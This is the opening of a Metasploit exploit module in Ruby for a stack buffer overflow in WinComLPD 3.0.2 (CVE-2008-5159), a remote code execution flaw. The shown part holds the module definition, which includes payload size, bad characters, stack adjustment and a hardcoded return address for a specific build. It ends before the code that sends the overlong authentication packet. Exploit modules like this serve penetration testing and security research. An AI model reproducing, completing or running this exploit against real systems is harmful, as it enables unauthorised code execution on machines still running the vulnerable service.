##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'WinComLPD <= 3.0.2 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in WinComLPD <= 3.0.2.
By sending an overly long authentication packet to the remote
adminstration service, an attacker may be able to execute arbitrary
code.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'Version' => '$Revision: 9583 $',
'References' =>
[
['CVE', '2008-5159'],
['OSVDB', '42861'],
['BID', '27614'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x0a",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'WinComLPD 3.0.2.623', { 'Ret' => 0x0047d7a7 } ],
],
'Privileged' => true,
'DisclosureDate' => 'Feb 4 2008',
'DefaultTarget' => 0))